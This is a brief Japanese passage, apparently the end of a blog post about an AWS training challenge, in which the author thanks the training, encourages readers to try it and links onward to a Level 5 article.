のコマンドをムッチャ使いました!
AWSトレーニングに感謝です。
皆様も是非チャレンジしてみてください!
Level 5は以下の記事へ